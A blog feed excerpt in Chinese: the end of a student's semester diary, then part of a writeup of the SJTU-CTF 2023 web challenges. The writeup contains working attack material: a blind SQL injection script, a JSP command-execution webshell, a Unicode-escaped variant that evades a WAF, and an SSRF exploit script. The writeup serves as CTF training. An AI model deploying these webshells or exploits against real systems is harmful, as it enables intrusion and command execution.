src="https://hans362-img.oss.0vv0.top/2023/06/21/613c8a2fd6e9b1449c5321f7df90fe18.png?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2023/06/21/613c8a2fd6e9b1449c5321f7df90fe18.png?width=1920" srcset="/loading.gif" alt=""></p><p>这学期充分感受到了我校工科平台混乱的培养计划和糟糕的课程设计，在此不得不锐评一些课程。</p><ul><li><p>电路实验</p><p>金课中的金课🥇。</p><p>这课的逆天之处在于和电路理论完全脱节的教学安排以及手写实验报告、手绘图像的离谱要求。电路理论才学到时域分析，实验已经做到交流参数了，做实验的时候对着看不懂的电路图机械地接线，写实验报告的时候我都不知道自己在写什么。</p><p>另外这课还有期末考试，占总评一半的分数，随机抽一个实验，闭卷做，要求背下所有的电路图。只好祈祷别抽到强电实验，毕竟弱电实验接线都不复杂，比较好做。</p><p><img src="https://hans362-img.oss.0vv0.top/2023/06/21/c2f0bc9ae6218f709e3ef004c91842e5.png?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2023/06/21/c2f0bc9ae6218f709e3ef004c91842e5.png?width=1920" srcset="/loading.gif" alt=""></p><p>然后我就抽到了三相电路😇。幸好考前一天晚上把强电的几个实验电路都狂背了一遍，没出意外顺顺利利地做完了。考试的时候周围好几个人接错线烧保险丝、烧灯泡，还有人把整个实验室给搞跳闸了，笑死。</p></li><li><p>大学物理实验</p><p>1学分的课花的时间比3学分的课还多。</p><p>和电路实验一样地手写巨长的报告，作图以及拟合用 Origin 做。课程内容也是一样地和大物课程进度脱节，不过大部分老师/助教会默认你什么都不知道然后花时间讲一遍，至少能理解在做什么。</p><p>唯独有一次实验碰到个老师几乎啥也不讲不演示就让我们开做，遇到问题问他，直接一句“你没有预习吗？”、“我为什么要回答你？”、“你把学号报上来我给你扣两分再告诉你”，态度简直离谱😠。好在大家都不会做，最后他还是忍不住讲了一遍。</p></li><li><p>工程实践</p><p>属于是为毕业进厂提前做准备了，我一个学电子信息的为啥要学车床、铣床、钣金之类的东西啊？好在我们这届压缩了学时，只有半个学期，就当去玩玩了倒也还行。</p><p><img src="https://hans362-img.oss.0vv0.top/2023/06/22/6dc5b44d16813d34e7629f35d2fb14ed.png?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2023/06/22/6dc5b44d16813d34e7629f35d2fb14ed.png?width=1920" srcset="/loading.gif" alt=""></p><p>（线切割做了只 Octocat）</p></li><li><p>工程实践与科技创新I</p><p>前半学期焊调频无线话筒和万用表，后半学期做单片机项目。作为电子系的学生学焊板子倒也无可厚非，毕竟是以后要用到的技能，但是给我整一大堆小得要命的贴片元件，用电烙铁纯手工焊实在有些折磨。</p><p><img src="https://hans362-img.oss.0vv0.top/2023/06/22/70e35ebf2d50e100a85e63bdd94409d2.png?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2023/06/22/70e35ebf2d50e100a85e63bdd94409d2.png?width=1920" srcset="/loading.gif" alt=""></p><p>依稀记得那天在电网大楼从晚上六点焊到十一点总算整完了，还好一次成功，不然像有些同学焊完发现芯片是坏的就很惨了。</p></li></ul><p>除此之外，一些课程的安排也很迷惑。电路理论放在大一下我完全学不明白，教材晦涩难懂，完全没考虑初学者的接受能力。数电课时压缩到只有半学期，且由于缺少模电、基电作为先修课程，很多内容都跳过不讲，感觉学得很浅。</p><p>这学期巨大的课程量导致了长达一个月的期中周和半个月的期末周，整个学期几乎就是在复习-考试-复习-考试😇。期末周的时候考完一门抢救下一门，女娲补天都没我忙。</p><p><img src="https://hans362-img.oss.0vv0.top/2023/06/22/2ac3ec7ee97cf739818e628861015411.png?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2023/06/22/2ac3ec7ee97cf739818e628861015411.png?width=1920" srcset="/loading.gif" alt=""></p><blockquote><p>一个人乐意探索陌生的PPT，仅仅是因为快要挂科了吗？</p></blockquote><p><img src="https://hans362-img.oss.0vv0.top/2023/06/22/84eeb55544fad01f1e6e78ab826cb0f9.png?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2023/06/22/84eeb55544fad01f1e6e78ab826cb0f9.png?width=1920" srcset="/loading.gif" alt=""></p><p>（初看不知画中意，再看已是画中人🤡）</p><p>好在最后出分的时候发现几门考完以为要挂的课分数高得我都不敢相信，被老师狠狠地海底捞了🥰。</p><h3 id="ctf-hw"><a class="markdownIt-Anchor" href="#ctf-hw"></a> CTF &amp; HW</h3><p>大约是二月底的时候在学校论坛上看到了 CTF 校赛的帖子，从未打过 CTF 的我看到了决定去试试，结果意外地拿了个不错的成绩。赛后除了白嫖了亿些奖金和奖品外，还被邀请加入了 Ph0t1n1a（学校主队 0ops 的预备队）。</p><p>考虑到对 Web 比较感兴趣，而且除此之外我也啥都不会，决定主攻 Web 方向。抽空跟着打了两场比赛发现自己弱爆了，除了 D^3CTF 做出一道简单的 MISC 之外，几乎无从下手，还需要多学习学习。</p><p>五月份的时候和 Ph0t1n1a 还有 0ops 的 Web 大佬们去参加了教育护网，也是我第一次参加这种真实环境的攻防演练。简而言之就是在经过授权的前提下日其他高校还有教育单位的服务器。原以为自己太菜了应该只能去给大佬们端茶送水，没想到也挖出了一些成果，有几个洞还是通用系统漏洞，得了不少分，爽。</p><p>总之这学期入坑了信息安全方向，发现自己对这个挺感兴趣的，至少比起现在所在的专业，以后可能准备往这个方向发展了。</p><h3 id="社团"><a class="markdownIt-Anchor" href="#社团"></a> 社团</h3><p>三月份的时候社团招新，百团大战那天去现场逛了逛。没想到竟然连 <a href="https://sjtug.org/">SJTUG</a> 都有摊位（虽然只有一个印了二维码的 KT 板），作为 SJTUG 维护的开源软件镜像站以及 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mtext>LaTeX</mtext></mrow><annotation encoding="application/x-tex">\LaTeX</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.89883em;vertical-align:-0.2155em;"></span><span class="mord text"><span class="mord textrm">L</span><span class="mspace" style="margin-right:-0.36em;"></span><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.68333em;"><span style="top:-2.904999em;"><span class="pstrut" style="height:2.7em;"></span><span class="mord"><span class="mord textrm mtight sizing reset-size6 size3">A</span></span></span></span></span></span><span class="mspace" style="margin-right:-0.15em;"></span><span class="mord text"><span class="mord textrm">T</span><span class="mspace" style="margin-right:-0.1667em;"></span><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.46782999999999997em;"><span style="top:-2.7845em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord textrm">E</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2155em;"><span></span></span></span></span><span class="mspace" style="margin-right:-0.125em;"></span><span class="mord textrm">X</span></span></span></span></span></span> 模板的忠实用户这不得加一下，还见到了<s>坐在摊位上表演上网课的</s>量子姐姐 <a href="https://lightquantum.me/">@lightquantum</a>🥰。</p><p>路过 Minecraft 社摊位的时候，想着我上一次玩 Minecraft 大概还是在<s>上一次</s>初中，早就跟不上版本了，然后就没加入。不过后来 HW 的时候认识了社长镐子哥⛏️，于是被拉进了社团准备接手一些服务器运维还有技术开发的工作。暑假打算复健一下 Minecraft，<s>不然我社真要成为米游社了</s>。</p><p>对了，欢迎关注<a href="https://space.bilibili.com/393112610">上海交通大学 Minecraft 社</a>~</p><h3 id="生日"><a class="markdownIt-Anchor" href="#生日"></a> 生日</h3><p>考完最后一门考试的后一天就是我二十岁前的最后一个生日了🥳。因为家里有人二阳了只好在学校过，整了个蛋糕和室友瓜分掉。晚上出去搓了一顿，在室友强推下去看了《蜘蛛侠：纵横宇宙》，有点好看，就是为啥在高潮部分戛然而止然后 To be continued 啊，太吊人胃口了。</p><p><img src="https://hans362-img.oss.0vv0.top/2023/06/23/124f6d475d59fcc908def70234c784fb.png?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2023/06/23/124f6d475d59fcc908def70234c784fb.png?width=1920" srcset="/loading.gif" alt=""></p><p>室友在学校论坛上发了个帖子《今天是我室友生日，可以祝他生日快乐吗》结果光速收敛到 <code>\xf0\x9f\x90\xbb</code>，笑死我了🤣。</p><h2 id="后续安排"><a class="markdownIt-Anchor" href="#后续安排"></a> 后续安排</h2><p>从六月中旬到七月中旬还有一个月的夏季学期，选了门通识课所以继续在学校坐牢。顺便打算学个驾照，过几天去考科目一，现在在疯狂刷题。</p><p>至于放暑假之后嘛，大概就是摸鱼开摆，偶尔参加个 HW 还有打打 CTF 什么的，八月份的时候打算出省玩一次。</p><p>OK 那么这篇周记就写到这吧（发现似乎也不是很长），至于下次更新不出意外的话大概还要过两三个月吧（逃</p></body></html>]]></content>
    
    
    <summary type="html">&lt;p&gt;咕咕咕了半年零三个月，这个系列终于有了后续（你还知道写啊）。&lt;/p&gt;
&lt;p&gt;所以这是一篇是又臭又长的写于夏季学期的伪装成周记的寒假和春季学期的终极流水账，我也不知道会有多长，各位慢慢看🤪。&lt;/p&gt;</summary>
    
    
    
    <category term="周记" scheme="https://blog.hans362.cn/categories/%E5%91%A8%E8%AE%B0/"/>
    
    
  </entry>
  
  <entry>
    <title>SJTU-CTF 2023 Writeup</title>
    <link href="https://blog.hans362.cn/post/sjtu-ctf-2023-writeup/"/>
    <id>https://blog.hans362.cn/post/sjtu-ctf-2023-writeup/</id>
    <published>2023-03-16T15:33:33.000Z</published>
    <updated>2025-12-31T14:36:17.823Z</updated>
    
    <content type="html"><![CDATA[<html><head><link rel="stylesheet" class="aplayer-secondary-style-marker" href="https://blog.hans362.cn/npm/APlayer@fix-smoothscroll/dist/APlayer.min.css"><script src="https://blog.hans362.cn/npm/APlayer@fix-smoothscroll/dist/APlayer.min.js" class="aplayer-secondary-script-marker"></script><script>var meting_api='https://api-v2.hans362.cn/vip/?server=:server&type=:type&id=:id&r=:r'</script><script class="meting-secondary-script-marker" src="/js/Meting.min.js"></script></head><body><p>好久没更新博客了，周记已经咕咕咕好几个月了，等有空再写吧（</p><p>作为一个非计算机和信息安全专业学生、除了 Web 方向会一点其它啥都不会的小白，前段时间参加了我校举办的 CTF 网络安全技术挑战赛。给官方提交了 Writeup 后想着不能浪费这水文章的大好机会，就在博客上也发一遍吧。</p><span id="more"></span><h2 id="web"><a class="markdownIt-Anchor" href="#web"></a> Web</h2><h3 id="flag-gallery"><a class="markdownIt-Anchor" href="#flag-gallery"></a> flag gallery</h3><p>网站首页有一堆旗子的图片，尝试乱填一个账号登录发现多了一个 CTF 旗子，提示需要管理员账号才能查看。F12 看了一眼发现这些旗子的图片都是从 <code>/getflag.php?flag=</code> 这个接口获取的。</p><p><img src="https://hans362-img.oss.0vv0.top/2023/03/12/upload_2569b9cd2f8d10f21c01def7a2320a6b.png?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2023/03/12/upload_2569b9cd2f8d10f21c01def7a2320a6b.png?width=1920" srcset="/loading.gif" alt=""></p><p>于是向接口请求一个不存在的文件，出现 PHP 错误信息。</p><p><img src="https://hans362-img.oss.0vv0.top/2023/03/12/upload_c5152f7b2d51b71a6999eaff2f46ab63.png?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2023/03/12/upload_c5152f7b2d51b71a6999eaff2f46ab63.png?width=1920" srcset="/loading.gif" alt=""></p><p>根据错误信息可知，这个接口应该只是简单地返回 <code>images</code> 目录下用户请求的文件，那么我们如果请求一下 <code>../login.php</code> 呢？</p><p><img src="https://hans362-img.oss.0vv0.top/2023/03/12/upload_772d38afa107dedb72fca9e7507be7ee.png?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2023/03/12/upload_772d38afa107dedb72fca9e7507be7ee.png?width=1920" srcset="/loading.gif" alt=""></p><p>直接爆出源代码，拿到 <code>admin</code> 密码的 MD5 值，解密一下发现是 <code>sjtuctf</code>，回主页登录，然后拿到 flag。</p><p><img src="https://hans362-img.oss.0vv0.top/2023/03/12/upload_72be3978d4ce63052bbaca8f53e94d02.png?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2023/03/12/upload_72be3978d4ce63052bbaca8f53e94d02.png?width=1920" srcset="/loading.gif" alt=""></p><h3 id="mimic-sql-part-1"><a class="markdownIt-Anchor" href="#mimic-sql-part-1"></a> Mimic SQL (part 1)</h3><p>显然应该是道 SQL 注入题，唯一的注入点应该是 <code>/article?id=</code>。跑了下 sqlmap，发现存在 Boolean-based SQL Injection，准备开始盲注。</p><p>但这道题比较特殊之处在于整了一个什么拟态防御，就是同时运行了 SQLite、MySQL 和 MariaDB 三种数据库，并同时向三个数据库跑查询，然后比对结果是否一致，不一致就会报错。因此注入的时候要兼顾三种数据库的要求。</p><p>经过亿些尝试，发现通过 <code>/article?id=1 and (select length(flag) from flag) &gt; 1</code> 可以搞出 flag 的长度，只需要用一下二分法，最终发现 <code>&gt; 37</code> 时能够返回文章内容，而 <code>&gt; 38</code> 时出现 <code>Not Found</code>，说明 flag 长度正是38。</p><p>接着又经过亿些尝试，发现通过 <code>/article?id=1 and (select substr(flag,1,1) from flag) = 'a'</code> 并把 <code>a</code> 依次替换成所有可打印字符，就可以根据返回结果是否为 <code>Not Found</code> 试出 <code>flag</code> 的第一位，然后用相同的原理往后依次试出每一位即可。</p><p>于是写了个 Python 脚本自动化这个过程。</p><pre><code class="hljs python"><span class="hljs-keyword">import</span> requests<span class="hljs-keyword">from</span> urllib.parse <span class="hljs-keyword">import</span> quote<span class="hljs-keyword">import</span> stringurl = <span class="hljs-string">"http://127.0.0.1:5000/article?id=1"</span><span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> <span class="hljs-built_in">range</span>(<span class="hljs-number">1</span>, <span class="hljs-number">39</span>):    <span class="hljs-keyword">for</span> c <span class="hljs-keyword">in</span> string.printable:        req = url + \            quote(                <span class="hljs-string">" and (select substr(flag,"</span> + <span class="hljs-built_in">str</span>(i) + <span class="hljs-string">",1) from flag) = '"</span> + c + <span class="hljs-string">"'"</span>)        r = requests.get(req)        <span class="hljs-keyword">if</span> <span class="hljs-string">"Not Found"</span> <span class="hljs-keyword">not</span> <span class="hljs-keyword">in</span> r.text:            <span class="hljs-built_in">print</span>(c, end=<span class="hljs-string">''</span>)            <span class="hljs-keyword">break</span></code></pre><p>最后得到了 flag。</p><p><img src="https://hans362-img.oss.0vv0.top/2023/03/12/upload_85e1f6302a74150cdaad770ec6a4d269.png?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2023/03/12/upload_85e1f6302a74150cdaad770ec6a4d269.png?width=1920" srcset="/loading.gif" alt=""></p><p>（引号要换成大括号）</p><h3 id="ezjsp"><a class="markdownIt-Anchor" href="#ezjsp"></a> ezjsp</h3><p>尝试直接传个带回显的 WebShell 上去，没想到就成功了。</p><pre><code class="hljs jsp">&lt;%    <span class="hljs-keyword">if</span>(<span class="hljs-string">"passwd"</span>.equals(request.getParameter(<span class="hljs-string">"pwd"</span>))){        java.io.<span class="hljs-type">InputStream</span> <span class="hljs-variable">in</span> <span class="hljs-operator">=</span> Runtime.getRuntime().exec(request.getParameter(<span class="hljs-string">"p"</span>)).getInputStream();        <span class="hljs-type">int</span> <span class="hljs-variable">a</span> <span class="hljs-operator">=</span> -<span class="hljs-number">1</span>;        <span class="hljs-type">byte</span>[] b = <span class="hljs-keyword">new</span> <span class="hljs-title class_">byte</span>[<span class="hljs-number">2048</span>];        out.print(<span class="hljs-string">"&lt;pre&gt;"</span>);        <span class="hljs-keyword">while</span>((a=in.read(b))!=-<span class="hljs-number">1</span>){            out.print(<span class="hljs-keyword">new</span> <span class="hljs-title class_">String</span>(b));        }        out.print(<span class="hljs-string">"&lt;/pre&gt;"</span>);    }%&gt;</code></pre><p>然后尝试直接 <code>?pwd=passwd&amp;p=cat /flag</code> 发现权限不够，于是又试了试 <code>?pwd=passwd&amp;p=/readflag</code>，成功拿到了 flag。</p><p><img src="https://hans362-img.oss.0vv0.top/2023/03/12/upload_8896484db15b4ffa2a8f3c7ca81318e1.png?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2023/03/12/upload_8896484db15b4ffa2a8f3c7ca81318e1.png?width=1920" srcset="/loading.gif" alt=""></p><h3 id="ezjsp2"><a class="markdownIt-Anchor" href="#ezjsp2"></a> ezjsp2</h3><p>前一题的加强版，这次就没这么好做了，直接传 WebShell 被 WAF 拦截了。分析了下代码，发现过滤条件很苛刻。</p><pre><code class="hljs jsp"><span class="hljs-keyword">private</span> <span class="hljs-keyword">static</span> <span class="hljs-type">Pattern</span> <span class="hljs-variable">pattern</span> <span class="hljs-operator">=</span> Pattern.compile(<span class="hljs-string">"\\.|\\[|\\]|\\\\u[0-9A-Fa-f]|&lt;%@|&lt;jsp:"</span>);</code></pre><p>然后我花了大量时间去构造一个能够绕过这个 pattern 的 WebShell，结果都以失败告终，因为想要代码里没有<code>.</code>几乎是不可能的，而这个 WAF 居然把<code>.</code>都给拦截了。</p><p>于是到处寻找利用其它编码形式绕过 WAF 的方法，终于发现原来 JSP 不仅能够直接解析 <code>\u0000</code> 这种 Unicode，事实上如果写成 <code>\uuuu0000</code> 也是可以的，而这个 WAF 只过滤了前者，所以只要把前一题的那个 WebShell 转成 Unicode 并写成 <code>\uuuu0000</code> 的形式即可。</p><pre><code class="hljs jsp">&lt;%\uuuu0069\uuuu0066\uuuu0028\uuuu0022\uuuu0070\uuuu0061\uuuu0073\uuuu0073\uuuu0077\uuuu0064\uuuu0022\uuuu002e\uuuu0065\uuuu0071\uuuu0075\uuuu0061\uuuu006c\uuuu0073\uuuu0028\uuuu0072\uuuu0065\uuuu0071\uuuu0075\uuuu0065\uuuu0073\uuuu0074\uuuu002e\uuuu0067\uuuu0065\uuuu0074\uuuu0050\uuuu0061\uuuu0072\uuuu0061\uuuu006d\uuuu0065\uuuu0074\uuuu0065\uuuu0072\uuuu0028\uuuu0022\uuuu0070\uuuu0077\uuuu0064\uuuu0022\uuuu0029\uuuu0029\uuuu0029\uuuu007b\uuuu006a\uuuu0061\uuuu0076\uuuu0061\uuuu002e\uuuu0069\uuuu006f\uuuu002e\uuuu0049\uuuu006e\uuuu0070\uuuu0075\uuuu0074\uuuu0053\uuuu0074\uuuu0072\uuuu0065\uuuu0061\uuuu006d\uuuu0020\uuuu0069\uuuu006e\uuuu0020\uuuu003d\uuuu0020\uuuu0052\uuuu0075\uuuu006e\uuuu0074\uuuu0069\uuuu006d\uuuu0065\uuuu002e\uuuu0067\uuuu0065\uuuu0074\uuuu0052\uuuu0075\uuuu006e\uuuu0074\uuuu0069\uuuu006d\uuuu0065\uuuu0028\uuuu0029\uuuu002e\uuuu0065\uuuu0078\uuuu0065\uuuu0063\uuuu0028\uuuu0072\uuuu0065\uuuu0071\uuuu0075\uuuu0065\uuuu0073\uuuu0074\uuuu002e\uuuu0067\uuuu0065\uuuu0074\uuuu0050\uuuu0061\uuuu0072\uuuu0061\uuuu006d\uuuu0065\uuuu0074\uuuu0065\uuuu0072\uuuu0028\uuuu0022\uuuu0070\uuuu0022\uuuu0029\uuuu0029\uuuu002e\uuuu0067\uuuu0065\uuuu0074\uuuu0049\uuuu006e\uuuu0070\uuuu0075\uuuu0074\uuuu0053\uuuu0074\uuuu0072\uuuu0065\uuuu0061\uuuu006d\uuuu0028\uuuu0029\uuuu003b\uuuu0069\uuuu006e\uuuu0074\uuuu0020\uuuu0061\uuuu0020\uuuu003d\uuuu0020\uuuu002d\uuuu0031\uuuu003b\uuuu0062\uuuu0079\uuuu0074\uuuu0065\uuuu005b\uuuu005d\uuuu0020\uuuu0062\uuuu0020\uuuu003d\uuuu0020\uuuu006e\uuuu0065\uuuu0077\uuuu0020\uuuu0062\uuuu0079\uuuu0074\uuuu0065\uuuu005b\uuuu0032\uuuu0030\uuuu0034\uuuu0038\uuuu005d\uuuu003b\uuuu006f\uuuu0075\uuuu0074\uuuu002e\uuuu0070\uuuu0072\uuuu0069\uuuu006e\uuuu0074\uuuu0028\uuuu0022\uuuu003c\uuuu0070\uuuu0072\uuuu0065\uuuu003e\uuuu0022\uuuu0029\uuuu003b\uuuu0077\uuuu0068\uuuu0069\uuuu006c\uuuu0065\uuuu0028\uuuu0028\uuuu0061\uuuu003d\uuuu0069\uuuu006e\uuuu002e\uuuu0072\uuuu0065\uuuu0061\uuuu0064\uuuu0028\uuuu0062\uuuu0029\uuuu0029\uuuu0021\uuuu003d\uuuu002d\uuuu0031\uuuu0029\uuuu007b\uuuu006f\uuuu0075\uuuu0074\uuuu002e\uuuu0070\uuuu0072\uuuu0069\uuuu006e\uuuu0074\uuuu0028\uuuu006e\uuuu0065\uuuu0077\uuuu0020\uuuu0053\uuuu0074\uuuu0072\uuuu0069\uuuu006e\uuuu0067\uuuu0028\uuuu0062\uuuu0029\uuuu0029\uuuu003b\uuuu007d\uuuu006f\uuuu0075\uuuu0074\uuuu002e\uuuu0070\uuuu0072\uuuu0069\uuuu006e\uuuu0074\uuuu0028\uuuu0022\uuuu003c\uuuu002f\uuuu0070\uuuu0072\uuuu0065\uuuu003e\uuuu0022\uuuu0029\uuuu003b\uuuu007d%&gt;</code></pre><p>然后就和前一题一样的方法拿到了 flag。</p><p><img src="https://hans362-img.oss.0vv0.top/2023/03/12/upload_ee4c035360bd2ae0fc3af3792063dd00.png?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2023/03/12/upload_ee4c035360bd2ae0fc3af3792063dd00.png?width=1920" srcset="/loading.gif" alt=""></p><h3 id="baby-express"><a class="markdownIt-Anchor" href="#baby-express"></a> baby express</h3><p>源代码都直接正大光明给你看了，读了好几遍感觉似乎确实没啥漏洞，利用条件都形成了一个闭环。不过既然源代码第一行说 <code>code modified from https://github.com/expressjs/express/blob/4.x/examples/auth/index.js</code>，那我就一行一行好好比对一下，看看到底修改了哪些地方吧。</p><p>结果一看还真发现了问题，在 <code>restrict()</code> 这个中间件的实现，人家原本写的是：</p><pre><code class="hljs javascript"><span class="hljs-keyword">function</span> <span class="hljs-title function_">restrict</span>(<span class="hljs-params">req, res, next</span>) {  <span class="hljs-keyword">if</span> (req.<span class="hljs-property">session</span>.<span class="hljs-property">user</span>) {    <span class="hljs-title function_">next</span>();  } <span class="hljs-keyword">else</span> {    req.<span class="hljs-property">session</span>.<span class="hljs-property">error</span> = <span class="hljs-string">'Access denied!'</span>;    res.<span class="hljs-title function_">redirect</span>(<span class="hljs-string">'/login'</span>);  }}</code></pre><p>修改之后变成了：</p><pre><code class="hljs javascript"><span class="hljs-keyword">function</span> <span class="hljs-title function_">restrict</span>(<span class="hljs-params">req, res, next</span>) {  <span class="hljs-keyword">if</span> (!req.<span class="hljs-property">session</span>.<span class="hljs-property">user</span> || !req.<span class="hljs-property">session</span>.<span class="hljs-property">user</span>.<span class="hljs-property">admin</span>) {    res.<span class="hljs-title function_">redirect</span>(<span class="hljs-string">'/'</span>);  }  <span class="hljs-title function_">next</span>();}</code></pre><p>没错，原本的代码是有 <code>else</code> 分支的，<code>next()</code> 只有在认证成功的情况下才会被执行。现在变成了即使认证失败也只是把用户重定向到首页，但是后面的代码依然会被执行，只是 <code>res.end()</code> 失效导致用户拿不到执行结果罢了。</p><p>那么所有被 <code>restrict()</code> 中间件保护的接口就可以利用了，<code>/test</code> 接口具有发送 HTTP 请求的功能，我们或许可以利用它以 <code>127.0.0.1</code> 的身份访问 <code>/become_admin</code> 接口，然后化身管理员。</p><pre><code class="hljs javascript">app.<span class="hljs-title function_">get</span>(<span class="hljs-string">'/test'</span>, restrict, <span class="hljs-keyword">function</span>(<span class="hljs-params">req, res</span>){  <span class="hljs-keyword">const</span> request = <span class="hljs-built_in">require</span>(<span class="hljs-string">'request'</span>).<span class="hljs-title function_">defaults</span>({<span class="hljs-attr">jar</span>: <span class="hljs-literal">true</span>});  <span class="hljs-keyword">let</span> url = req.<span class="hljs-property">query</span>.<span class="hljs-property">url</span>;  <span class="hljs-keyword">if</span> (url) {    <span class="hljs-title function_">request</span>(url, <span class="hljs-keyword">function</span> (<span class="hljs-params">error, response, body</span>) {      res.<span class="hljs-title function_">end</span>(body);    });  } <span class="hljs-keyword">else</span> {    res.<span class="hljs-title function_">end</span>(<span class="hljs-string">'no url'</span>);  }});</code></pre><p>不过问题又来了，<code>/test</code> 接口请求的结果并不会返回给我们，因为在那之前我们已经被重定向了，我们又如何拿到 flag 呢？</p><p>我们可以在本地以访客身份登录一下拿到 Cookie，然后让 <code>request()</code> 带上我们的 Cookie 去请求 <code>/become_admin</code> 接口，等我们在远端成为管理员之后再用同一个 Cookie 从本地拿 flag 即可。</p><p>但是，我们能传给 <code>/test</code> 接口的参数只有一个 <code>url</code> 啊，如何给 <code>request()</code> 传递含 Cookie 的配置项呢？</p><p>如果仔细读过 Express.js 官方文档的话，你会在 <code>req.query</code> 这一节发现这样一个红框警告：</p><p><img src="https://hans362-img.oss.0vv0.top/2023/03/12/upload_14f0c3b17d835d12bb4e6612becdf4ea.png?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2023/03/12/upload_14f0c3b17d835d12bb4e6612becdf4ea.png?width=1920" srcset="/loading.gif" alt=""></p><p>（<a href="https://expressjs.com/en/api.html#req.query">https://expressjs.com/en/api.html#req.query</a>）</p><p>没错，这就意味着我们传入的 <code>url</code> 何必只是一个 URL 字符串呢？我们完全可以传入一个 Object。而根据 <code>request</code> 库的官方文档，<code>request()</code> 的第一个参数既可以是 URL 字符串，也可以是一个含有各种配置项的 Object，正好符合利用条件。</p><p><img src="https://hans362-img.oss.0vv0.top/2023/03/12/upload_242415be02803cfadffbd7da56c99b29.png?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2023/03/12/upload_242415be02803cfadffbd7da56c99b29.png?width=1920" srcset="/loading.gif" alt=""></p><p>（<a href="https://github.com/request/request#requestoptions-callback">https://github.com/request/request#requestoptions-callback</a>）</p><p>按照上述步骤写个 Python 脚本跑一下即可。</p><pre><code class="hljs python"><span class="hljs-keyword">import</span> requests<span class="hljs-keyword">import</span> times = requests.Session()args = {<span class="hljs-string">"username"</span>: <span class="hljs-string">"guest"</span>, <span class="hljs-string">"password"</span>: <span class="hljs-string">"guest"</span>}url = <span class="hljs-string">"http://127.0.0.1:3000"</span>r = s.post(url+<span class="hljs-string">"/login"</span>, data=args, allow_redirects=<span class="hljs-literal">False</span>)sid = r.headers.get(<span class="hljs-string">"Set-Cookie"</span>).split(<span class="hljs-string">";"</span>)[<span class="hljs-number">0</span>].split(<span class="hljs-string">"="</span>)[<span class="hljs-number">1</span>]r = s.get(url+<span class="hljs-string">"/test"</span>,          params={<span class="hljs-string">"url[uri]"</span>: <span class="hljs-string">"http://127.0.0.1:3000/become_admin"</span>, <span class="hljs-string">"url[method]"</span>: <span class="hljs-string">"GET"</span>, <span class="hljs-string">"url[followAllRedirects]"</span>: <span class="hljs-literal">True</span>, <span class="hljs-string">"url[headers][Cookie]"</span>: <span class="hljs-string">"connect.sid="</span>+sid, <span class="hljs-string">"url[jar]"</span>: <span class="hljs-literal">False</span>}, allow_redirects=<span class="hljs-literal">True</span>)time.sleep(<span class="hljs-number">5</span>)r = s.get(url+<span class="hljs-string">"/test"</span>,          params={<span class="hljs-string">"url[uri]"</span>: url+<span class="hljs-string">"/"</span>, <span class="hljs-string">"url[method]"</span>: <span class="hljs-string">"GET"</span>, <span class="hljs-string">"url[headers][Cookie]"</span>: <span class="hljs-string">"connect.sid="</span>+sid, <span class="hljs-string">"url[jar]"</span>: <span class="hljs-literal">False</span>}, allow_redirects=<span class="hljs-literal">True</span>)r = s.get(url+<span class="hljs-string">"/flag"</span>, allow_redirects=<span class="hljs-literal">True</span>)<span class="hljs-built_in">print</span>(r.text)</code></pre><p><img src="https://hans362-img.oss.0vv0.top/2023/03/12/upload_ef9a3ee320e97444a3e24fb5bcd1730e.png?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2023/03/12/upload_ef9a3ee320e97444a3e24fb5bcd1730e.png?width=1920" srcset="/loading.gif" alt=""></p><h3 id="exsecurity_flag_p"><a class="markdownIt-Anchor" href="#exsecurity_flag_p"></a> exsecurity_flag_p</h3><p>我的 flag_p 是通过非预期做法拿到的，这里就讲一下题目修改之后正常的思考方式吧。</p><p>对目标机器做一下端口扫描，发现 8001 端口开着，直接访问拿到 flag。</p><p><img src="https://hans362-img.oss.0vv0.top/2023/03/12/upload_dc364370d8bf7d349118e31e7509da9e.png?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2023/03/12/upload_dc364370d8bf7d349118e31e7509da9e.png?width=1920" srcset="/loading.gif" alt=""></p><h3 id="exsecurity_flag_r"><a class="markdownIt-Anchor" href="#exsecurity_flag_r"></a> exsecurity_flag_r</h3><p>通过 <a href="https://crt.sh">crt.sh</a> 检索这个域名所有的 SSL 证书，发现了一个子域名。</p><p><img src="https://hans362-img.oss.0vv0.top/2023/03/12/upload_e30081afb13ea053b2e83ebde9088dbf.png?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2023/03/12/upload_e30081afb13ea053b2e83ebde9088dbf.png?width=1920" srcset="/loading.gif" alt=""></p><p>访问发现是 Harbor，结合之前具有争议的 CVE-2022-46463，尝试获取公开镜像，结果发现搜索功能不知道为啥 500 了。不过一番摸索后发现 Harbor API 是正常的，通过 <code>https://registry-intra-idc.exsecurity.top/api/v2.0/projects/</code> 拿到所有公开项目，再通过 <code>https://registry-intra-idc.exsecurity.top/api/v2.0/projects/flag_r/repositories/flag_r_a302102434b/artifacts</code> 拿到 <code>flag_r</code> 对应的构建产物信息，然后 <code>docker pull</code> 拉取即可。</p><p><img 